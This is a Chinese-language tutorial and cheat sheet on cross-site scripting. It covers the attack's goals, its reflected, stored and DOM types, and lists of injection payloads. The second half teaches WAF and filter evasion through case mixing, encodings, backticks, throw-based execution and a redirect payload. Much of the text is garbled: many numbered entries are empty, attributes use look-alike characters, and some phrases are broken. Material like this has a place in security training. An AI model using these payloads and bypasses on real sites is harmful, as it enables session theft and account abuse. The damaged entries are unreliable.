一。簡述
XSS攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使使用者加載并執行攻擊者惡意制造的網頁程式.
例如:
1.盜用cookie,擷取敏感資訊。
2.利用植入Flash,通過crossdomain權限設定進一步擷取更高權限;或者利用Java等得到類似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)使用者的身份執行一些管理動作,或執行一些一般的操作如發微網誌、加好友、發私信等操作。
4.利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
5.在通路量極大的一些頁面上的XSS可以攻擊一些小型網站,實作DDOS攻擊的效果。
二。分類
反射型
反射型跨站腳本是最常見,也是使用最廣的一種,可将惡意腳本附加到 URL 位址的參數中。反射型 XSS 的利用一般是攻擊者通過特定手法(如電子郵件),誘使使用者去通路一個包含惡意代碼的 URL,當受害者點選這些專門設計的連結的時候,惡意代碼會直接在受害者主機上的浏覽器執行。此類 XSS 通常出現在網站的搜尋欄、使用者登入口等地方,常用來竊取用戶端 Cookies 或進行釣魚欺騙。
存儲型
持久型跨站腳本也等同于存儲型跨站腳本。此類 XSS 不需要使用者單擊特定 URL 就能執行跨站腳本,攻擊者事先将惡意代碼上傳或儲存到漏洞伺服器中,隻要受害者浏覽包含此惡意代碼的頁面就會執行惡意代碼。持久型 XSS 一般出現在網站留言、評論、部落格日志等互動處,惡意腳本存儲到用戶端或者服務端的資料庫中。
DOM型
傳統的 XSS 漏洞一般出現在伺服器端代碼中,,浏覽器使用者可以操縱 DOM 中的一些對象,例如 URL、location 等。使用者在用戶端輸入的資料如果包含了惡意 JavaScript 腳本,而這些腳本沒有經過适當的過濾和消毒,那麼應用程式就可能受到基于 DOM 的 XSS 攻擊。(特殊類型的反射性 ) 存在于get
cookio reference裡面。
三。無過濾的情況下
一些常見标簽
1.
2.
<img src=1 οnerrοr=alert(“xss”);>
3.
競争焦點,進而觸發onblur事件
<input οnblur=alert(“xss”) autofocus>
通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點
事件,無需使用者去觸發
4.
使用open屬性觸發ontoggle事件,無需使用者去觸發
5.
6.
通過autofocus屬性執行本身的focus事件,這個向量是使焦點自動跳到輸入元素上,觸發焦點事件,無需使用者去觸發
7.
javascript僞協定
1.标簽
xss
點我就xss
2.标簽
3.标簽
<img src=javascript:alert(‘xss’)>//IE7以下
4.标簽
四。有過濾的情況下
1.過濾空格
用/代替空格
<img/src=“x”/οnerrοr=alert(“xss”);>
2.過濾關鍵字
大小寫繞過
<ImG sRc=x onerRor=alert(“xss”);>
3.字元拼接
利用eval
利用top
4.其它字元混淆
有的waf可能是用正規表達式去檢測是否有xss攻擊,如果我們能fuzz出正則的規則,
則我們就可以使用其它字元去混淆我們注入的代碼了
下面舉幾個簡單的例子
可利用注釋、标簽的優先級等
1.<
5.編碼繞過
Unicode編碼繞過
url編碼繞過
Ascii碼繞過
6.過濾雙引号,單引号
.如果是html标簽中,我們可以不用引号。如果是在js中,我們可以用反引号代替單雙引号
<img src=“x” οnerrοr=alert(
xss
);>
7.過濾括号
當括号被過濾的時候可以使用throw來繞過
<svg/οnlοad=“window.οnerrοr=eval;throw’=alert\x281\x29’;”>
8.html标簽中用//可以代替http://
<img src=“x” οnerrοr=document.location=
//www.baidu.com
>
9.注釋繞過
商城搜尋框大部分可以這樣繞過。
</spa n>